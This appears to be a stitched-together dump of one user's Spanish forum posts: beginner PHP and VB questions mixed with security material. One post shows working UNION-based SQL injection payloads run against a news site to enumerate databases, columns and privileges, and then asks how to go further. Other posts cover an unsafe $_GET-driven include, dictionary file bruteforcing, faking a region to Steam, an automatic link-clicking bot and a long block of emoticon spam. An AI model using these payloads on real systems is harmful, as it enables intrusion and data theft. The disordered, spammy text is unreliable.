Temas

He estado pensando en algún modo para poder eliminar la piratería real más el otro 89% inflado extra que le añaden en los estudios y esto es lo que se me ha ocurrido.

Se podría hacer al estilo de una plataforma PTC (Pay to Click). Varios anunciantes, pongamos 4, pagarían z cantidad de euros para que x cantidad de usuarios vieran su publicidad durante y tiempo.

Tras ello, el usuario pasaría a ser redireccionado para que se puediera descargar 1 canción de forma legal.

Poniendo cifras, me basaría en la cuota de iTunes, 0,99€ por canción. Una parte de esa fracción supone ya, que incluye el mantenimiento de servidores y de la web y blabla.

Por ello, los 4 anunciantes deberían pagar 495€ cada uno para que 2.000 usuarios viesen 4x(1min o 20 sgs de publicidad) y pudieran descargar 1 canción cada uno.

Para balancear un poco la web contendría también publicidad en sus menús, igualmente pero, no veo el sistema rentable por parte de los anunciantes puesto que por menos o lo mismo obtienen mucho más.

Para cargar menos pasta en cada anunciante se pueden añadir más, el problema esque la cantidad de publicidad  llegada a cierto punto de anunciantes es descomunal y el usuario va a preferir descargarla de otro sitio.

El problema que le veo, esque mirando las tablas para poner un anuncio en la TV, sale evidentemente mucho más rentable teniendo en cuenta que el precio puede oscilar entre 200 y 2.700€ por vete tu a saber cuantos millones de visiones.

¿Se os ocurre alguna forma de corregir el modelo?

Bueno, esta vez necesito poder hacer un
include("{$_GET['a']}.php");

Como sé que es peligroso de la hostia, quiero limitar las posibilidades (lo he hecho por php.ini, me gustaría saber como taparlo desde el php mismo)
Lo primero que he hecho es prohibir includes externos o sea que los http hacia shells ya no son posibles.

Como al hacer una prueba, he podido incluir otros archivos no deseados de mi host (../ejemplo) he hecho esto:
$_GET['a'] = ereg_replace("/", "", $_GET['a']);
$_GET['a'] = ereg_replace(".", "", $_GET['a']);

Esto teoricamente evitaría el uso de . y / pero ahora lo que me pasa esque me salta con que no existe ninguno de los archivos que hago include con normalidad y los cuales no tienen ningún . ó /  .
Que domnios estoy haciendo mal ?

Hola,
haciendo pruebas he visto que mi sitio no filtra los tags htm, se podría haber subido una shell de algún modo?

Buenas,
he hecho un if que compara el contenido de un archivo con el de otro y el problema esque pese a que son exactamente iguales dice que no.

    If arx1 <= elfich2 Then
     Label1.Caption = "No son iguales o el fichero 1  es menor."
    Else
    Label1.Caption = "Son iguales o el fichero 1 es mayor."
    End If

He probado con > y poner los else al revés pero nada.

Porque demonios no le ponen != como en php.

[,]

Hola, me ha dado por probar un sistema de noticias en php y he empezado a hacer pruebas y creo que estoy dando con algo

Cuando se visualiza una noticia con normalidad:


Cuando se intenta visualizar una noticia que no existe (una id.)

(Fijarse que la comilla y los // son de cuando Nota de Prensa, Algún Sitio (ejemplo)) - 1/02/2009


He hecho union all select y llego hasta el 11 o sea que la tabla noticias tiene 11 campos y como se puede ver si genero un error, uno de ellos como no es el id.
Cuando hago -1 union all select 1,2,3,4,5,6,7,8,9,10,11--
Me sale esto:



Si pongo en vez de 1,2,3...  1,@@version,3.... me sale la versión del servidor en el primer numero:
15.0.77

He usado esto para ver las columnas:
-1 union all select 1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6,7,8,9,10,11 FROM information_schema.columns--

y me muestra esto


Si hago esto para ver las dbs:
-1 union all select 1,schema_name,3,4,5,6,7,8,9,10,11 FROM information_schema.schemata--

Me sale esto:


He intentado ver una lista de privilegios con:
-1 union all select 1,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11  FROM+information_schema.user_privileges--

Sale esto:


Usando el PonyMagic (que maravilla por dios.) me indica que tiene 2 tablas y una de ellas es la de noticias y me indica todos los campos.

Con esto que se puedo hacer algo? Como sigo adelante sino?

Hola, sabeis por casualidad algun programa que se dedique a probar mediante diccionario la existencia de archivos en una web?

Me refiero a que pruebe
lol.com/a.htm
lol.com/aa.htm
lol.com/aaa.htm
lol.com/ae.htm
lol.com/aee.htm

etc..
Que no se base en los archivos enlazados en la web si no que vaya probando, sino, sabeis si alguien de aqui podria desarrollarla a cambio de $$?

Hola,
he probado a usar AOL para obtener una IP americana pero no hay manera de crearse la cuenta, siempre me da proxy error.

Se os ocurre alguna forma de hacerle creer a steam que soy de region americana?

Hay alguna manera de evitar que " se pase a &quot;?

He estado buscando por google algo estilo sesiones que no permita al usuario repetir la acción por ejemplo de reenviar un formulario (eso de actualizar una vez enviado o que le de error y va y le permite hacer el envío de nuevo).

Diria que smf usa algo por el estilo

Hola, posteo porque me estoy empezando a cabrear con los errores que me marca el php.

PHP Parse error:  syntax error, unexpected $end in /****/actualizar2.php on line 48

actualizar2.php on line 48:
   $query = "UPDATE files SET fecha='$fecha' WHERE userid='". $_SESSION['USER_ID'] ."' AND file='$file' ";

Donde demonios esta el error? si esta perfecto.

Hola, creo que hay algun modo de que en caso de que un fichero php se intente abrir desde el navegador este se lo deniegue. He buscado en google de varias maneras pero no hay manera de encontrar nada relacionado.

Mas que nada lo quiero para los cronjobs para asegurar que en el caso de que un user descubra el archivo que es ejecutado, no pueda igualmente.

Hola, me gustaria saber que maneras hay para hacer que por medio de php hasta que no se llegue a cierta hora de cierto dia no se desbloque algo.

Me refiero a que el sistema siga la cuenta atras aun cuando nadie este conectado para verlo, que maneras hay de hacer eso.

He buscado y solo encuentro cosas relacionadas con mostrar la fecha de distintas maneras.

He buscado en google pero el problema esque no se como expresarlo para que salga lo que quiero:

Quiero mostrar al usuario el texto que en ese momento tenga del copiar/pegar. por ejemplo copias de aqui el mensaje, pues que lo muestre.

Apenas un mes después de que apareciera la versión en español, las asociaciones que velan por el respeto y la integración de los más desfavorecidos se ha han echado encima del juego online gratuito Mendigogame.

Se trata de un videojuego importado desde Alemania, donde lleva dos años y donde se ha convertido en uno de los videojuegos on line más utilizados. El argumento es simple: hay que ser "el mejor" mendigo y buscarse la vida recogiendo chatarra, atracando bares o bebiendo alcohol.

http://www.20minutos.es/noticia/509250/0/retirada/juego/mendigos

Hola, quiero que mis archivos estén protegidos de miradas por lo que he intentado hacer como SMF.

En el index de la página he puesto:
define('besthakar', 1);

y en uno de los archivos
if (!defined('besthakar'))
   die('Error');

Lo único que pasa es que al hacer un require a ese archivo en el index no carga. Si intento mirar el archivo en el navegador sale lo que quería, Error.

¿Qué hago mal?

Pensaba que el sistema par ahcerlo funcionar era ese.

Ahora es correcto pero no le da la gana de funcionar, tengo esto:

Código (php) [Seleccionar] Expandir

if ($misid = 0){
echo 'La id no es válida';
}else{
// Hasta aquí funciona aunque diría que es ==
if ($estado = 'no') {
echo 'No está disponible';
}else if ($estado = 'si'){
echo 'Se encuentra disponible';
}
}

Cuando indico el estado si, sale No está disponible.
Cuandi indico el estado no, sale No está disponible.

En un tutorial he leído como usar fopen para leer archivos. He probado de leer un archivo que sólo contenía número y sumarle 3 y como resultado al subirlo al servidor  me ha aparecido algo parecido a esto:
7.6666666666667E+40

Como puedo evitar que los números pasen a letras?

¿Por qué pasa eso?

He leido varios tutoriales para por lo menos saber como sacar en una misma consulta unas cuantas filas que necesitaba, el problema esque no se como modificarlas en la misma consulta ya que el metodo usado para conseguirlas es LIKE 'jugador%' .

Expongo:

Tabla: jugadores
Columnas: ID y nick

La id siempre es jugador + un numero que va aumentando. jugador1,jugador2,jugador3,etc..

Para sacar el nick de estos jugadores lo he hecho asi:

Código (php-brief) [Seleccionar] Expandir

$sql=mysql_query("SELECT * FROM jugadores WHERE id LIKE 'jugador%' ORDER BY id ASC");

Pero para actualizarlos no puedo poner el like ya que no controlaria correctamente si el nick del jugador1 se pone en el jugador1 o en el 2 o en el que quiera, aparte de que dudo que se pueda usar. O si que puede funcionar añadiendo tambien la linea de ORDER BY id ASC de modo que se inserte por orden?

Código (php-brief) [Seleccionar] Expandir


$sql="UPDATE jugadores SET ... WHERE id LIKE 'jugador%'";

Aún estoy buscando tutoriales ya que el que he usado sólo es para mostrar los datos de todas las posibilidades posibles.

No puedo creer que no esté en algun tuto de aquí, en el buscar no me salió nada así que como lo hago para llamar a una función que se encuentra dentro de una class?

Código (php-brief) [Seleccionar] Expandir

<?php
class prueba1{
function irf(){}
function fc5(){
}
function rastrear($ip, $destino){
}
}
$own=$prueba1->fc5();
echo $own;
?>

De esa forma me dice que
Fatal error: Call to a member function fc5() on a non-object.

Bueno diría que es posible porque lo he visto en varios scripts como smf que descargan un zip de no se donde y lo guardan en el host.

Alguien me podría pasar el link hacía algun tutorial o explicarme?
He buscar por internet pero no hay manera de que el tema guarde relación con php.

Hola,
tengo un archivo php en el que recibo una variable y quiero que esta no se muestre en pantalla sino que pase a formar parte del código de la página.
Me explico:
<?
$reg=$_REQUEST['reg1'];

echo '<div class="registro">'. $reg .'</div>';

?>

$reg equivale por ejemplo a '; foreach ($registros['cantidad'] as $hwb){ echo' lolol'; } echo'

Tal que queda así

Código (php-brief) [Seleccionar] Expandir

<?

echo '<div class="registro">'; foreach ($registros['cantidad'] as $hwb){ echo' lolol'; } echo'</div>';
?>

En vez de seguirlo como línea sale en la página lo escrito entre el div.

Hola, en un archivo almaceno el texto y me gustaría saber como me lo puedo montar para que desde otro archivo edite un campo y se edite una variable y así con varias .

en traduccion.php tengo esto:
<?

$titulo = 'Los Sufrimientos de Jesús';
$prolg = 'En el silencio y obscuridad de la noche, siguiendo a la guarda de la Pascua con Sus discípulos y a un período de larga discusión, Jesús fue al Monte de los Olivos.';

?>

me gustaría que en un archivo con dos campos pudiese cambiar el texto.
con el fwrite hay alguna forma de decirle cambia $titulo por $nuevotitulo o algo por el estilo?

Hola, me preguntaba de que manera puedo obtener la ruta de un hosting tipo:
/homepages/48/g425344926/htdocs/
/web/htdocs/laweb.com/home/


Ya existe algún script?
El simple machines forum lo obtiene pero no se como.

Lo único que se me ocurre es generar un error para que salga.

En esta imagen lo que se ve es una silla, sin embargo, cuando la guardas en tu pc y pones vistas en miniatura sale otra distinta, la de un robot.



Edito:
No se quién lo ha movido a Diseño gráfico, pero lo posteé en Charla libre porque quería debatirlo, como una curiosidad, no es una duda..

Hola,

Quiero que al escribir en un campo una función javascript abra en un frame de la página un archivo más lo que haya escrito en el campo.
He probado con:

Código (php) [Seleccionar] Expandir

<SCRIPT type="text/javascript">
function lol() {
if (!document.frames)
return
document.frames.I1.src='lol.php?word=' + document.buscar.word.value
}
</SCRIPT>

<form id="buscar" method="post"  >
<input name="redirect" value="" type="hidden">

<table>
<label>buscar por
<input type="text" name="word" onChange="lol()"/>
</label>
<td><iframe name="I1" width="70" height="30">
</form>

pero nada me dice que el  document.buscar.word es nulo o no existe.

Hola,

de que modo puedo hacer que muestre las horas, minutos y segundos así:
X horas, y minutos y z segundos.

he probado con:

date("H" horas "i" minutos y "s" segundos",$final);

pero evidentemente, no cuela.

Parece que hoy no es mi día, las programaciones me fallan por todos lados.

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at logueo.php:8) in logueo.php on line 145

L8:

<?=$info?>

L145:

session_start();

no se que tiene que ver una cosa con la otra, pero veo que le gusta joderme.

Hola, esto si que no me lo explico, tengo un logueo, entro sin problemas pero en cambio cuando intento hacer que saque algo de la base después, me salta con:

Warning: mysql_query() [function.mysql-query]: Can't connect to local MySQL server through socket '/tmp/mysqld.sock' (2) in imagenes.php on line 55

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in imagenes.php on line 55
Can't connect to local MySQL server through socket '/tmp/mysqld.sock' (2)

Y en esa línea lo que hay es:

$sql="SELECT * FROM images WHERE id='$id'";
$result=mysql_query($sql) or die (mysql_error());
$row=mysql_num_rows($result);

Código (php) [Seleccionar] Expandir

<?
require('conector.php');

$duke=($_SESSION['UsNick']);
$id=($_REQUEST["id"]);

$sql = "DELETE FROM tablaus WHERE usuario='".$duke."' and id='".$id."'";
$result = mysql_query($sql) or die(mysql_error());

if($result) {
echo ' Borrado';
} else {
echo 'Error al intentar borrar ';
}
?>

Cuando hago esto, teoricamente si no encuentra que encajen usuario y id en una misma entrada tiene que dar error, pero igualmente sale borrado. ¿Que hago mal?

Cabe la posibilidad de que el mismo archivo que envía los datos para en método post, los trabaje?
Cual sería el modo?

Código (vb) [Seleccionar] Expandir

if ($action=="post") { o algo así?

Hola, quiero que un archivo php haga lo mismo que hace un foro, lo de contar el número de mensajes.

¿Como se cuentan el total de entradas?

Bueno, cuando hago clic en un link o lo que sea desde un webbrowser, la ruta de este, se apunta en un textbox.
El problema esque quiero que sólo muestre el título del documento, pero document.title , no funciona.
De modo que sabiendo que cierta parte de esetexto siempre es la misma, hay algun modo de decirle que la corte? y muestre lo restante?

Como puedo prohibir poner números en un textbox, símbolos o letras?

Hola, he creado este código para hacer que el programa haga clic en todos los links de una página 3 veces y al mismo tiempo compruebe si se han hecho y lo apunte en una página.

Me encuentro con el problema de que a la segunda vez da error aún haberse hecho todos los clics..
No puede ser de una manera que se repita 3 veces ya que en cada una de ellas la página donde anota el resultado es distinta.

Código [Seleccionar] Expandir

Dim iSeg As Integer 'Segundos de la cuenta atrás
' Verifica el segundo clic
Private Sub c2_Click()
If Web2.Document.Title = "1" Then
errores.Visible = True
errores.Caption = "Error 2."
Else
Tex.Text = "http://www.webqueanota.es"
web3.Navigate Tex.Text
Web2.Navigate "http://www.webquedondedebehacertodoslosclics.com"
End If
End Sub
' Verifica el tercer clic
Private Sub c3_Click()
If Web2.Document.Title = "1" Then
errores.Visible = True
errores.Caption = "Error 3."
Else
Tex.Text = "http://www.webqueanota.es"
web3.Navigate Tex.Text
Web2.Navigate "http://www.webquedondedebehacertodoslosclics.com"
End If
End Sub
Private Sub Form_Load()
iSeg = 5
Label1.Caption = iSeg
Timer1.Interval = 1000 'Tiempo
Web1.Navigate "http://www.webquedondedebehacertodoslosclics.com"
Web2.Navigate "http://www.webquedondedebehacertodoslosclics.com"
End Sub
' Botón que inicia todo
Private Sub Commando_Click()
If user.Text = "" Or pass.Text = "" Then
MsgBox "error.."
Else
Timer1.Enabled = True
End If
End Sub
'Primer clic
Private Sub Timer1_Timer()
iSeg = iSeg - 1
Label1.Caption = iSeg
If iSeg = 0 Then
Timer1.Interval = 0
iSeg = 6
Timer2.Enabled = True
Timer2.Interval = 1000
Label5.Caption = "1  de 3."
For Each El In Web1.Document.All
El.Click
Next
End If
End Sub
' Verifica el primer clic
Private Sub c1_Click()
If Web2.Document.Title = "1" Then
errores.Visible = True
errores.Caption = "Error  1."
Else
Tex.Text = "http://www.webqueanota.es"
web3.Navigate Tex.Text
Web2.Navigate "http://www.webquedondedebehacertodoslosclics.com"
End If
End Sub
'Segundo clic
Private Sub Timer2_Timer()
iSeg = iSeg - 1
Label1.Caption = iSeg
If iSeg = 0 Then
Timer2.Interval = 0
iSeg = 6
Timer3.Enabled = True
Timer3.Interval = 1000
Label5.Caption = "2 de 3."
Me.c1 = True
For Each El In Web1.Document.All
El.Click
Next
End If
End Sub
'Tercer clic
Private Sub Timer3_Timer()
iSeg = iSeg - 1
Label1.Caption = iSeg
If iSeg = 0 Then
Timer3.Interval = 0
Timer4.Enabled = True
Timer4.Interval = 1000
Label5.Caption = "3 de 3."
Me.c2 = True
For Each El In Web1.Document.All
El.Click
Next
End If
End Sub
'Hecho para que verifique el tercer clic
Private Sub Timer4_Timer()
iSeg = iSeg - 1
Label1.Visible = False
Label1.Caption = iSeg
If iSeg = 0 Then
Timer4.Interval = 0
Me.c3 = True
End If
End Sub
'Para que al hacer clic en la página, no se abra en una ventana del explorer
Private Sub Web1_NewWindow2(ppDisp As Object, Cancel As Boolean)
Set ppDisp = Web2.Object
End Sub

  :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovv :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ov :ovvv

[SetCursorPos]

Hola, buscando por internet he encontrado este código el cual hace clic en un botón, pero para ello usa una variable que mueve el cursor:

Private Const WM_LBUTTONDOWN = &H201
Private Const WM_LBUTTONUP = &H202
Private Declare Function PostMessageBynum Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Private Type RECT
         Left As Long
         Top As Long
         Right As Long
         Bottom As Long
End Type
Private Sub Command1_Click()
    Me.Print "Usted hizo click el el Command 1"
End Sub
Private Sub Command2_Click()
    Me.Print "Usted hizo click el el Command 2"
    Dim l As Long, PosX As Long, PosY As Long, PosXY As Long
    Dim lpRect As RECT
   Dim SendInput As Long
    l = GetWindowRect(Command1.hwnd, lpRect)
    PosX = lpRect.Left + ((lpRect.Right - lpRect.Left) / 2)
    PosY = lpRect.Top + ((lpRect.Bottom - lpRect.Top) / 2)
    l = SetCursorPos(PosX, PosY)
    PosXY = (PosY - lpRect.Top) * 65536 + (PosX - lpRect.Left)
    l = PostMessageBynum(Command1.hwnd, WM_LBUTTONDOWN, 0&, PosXY)
    l = PostMessageBynum(Command1.hwnd, WM_LBUTTONUP, 0&, PosXY)
End Sub

¿Existe otro método/variable para hacer lo mismo pero sin que use en ningún momento el cursor?

Hola, he puesto un Combolist y quiero que al hacer clic en el o en un botón compruebe que a elegido y en cada caso actuar de una forma distinta.
He probado esto peeero no funciona:

Public Sub command1_click()
If c.ListIndex = Op1 Then
MsgBox "Op1"
End If
If c.ListIndex = Op2 Then
MsgBox "Op2"
End If
End Sub

También así

Public Sub command1_click()
If c.ListIndex = Op1 Then MsgBox "Op1"
If c.ListIndex = Op2 Then MsgBox "Op2"
End If
End If
End Sub

Que hago mal o como lo monto?

Hola, estoy intentando hacer que si en un archivo pone x y un usuario escribe x se abrá un form y que de lo contrario salga una pantallita diciendo error.

Código [Seleccionar] Expandir

Private Sub Command1_Click()
If FSO.OpenTextFile("C:\programa\error\errorlog.txt").ReadAll <= Text1.Text = True Then
MsgBox "Error"
End
End If
Form2.Show
End Sub



Que hago mal?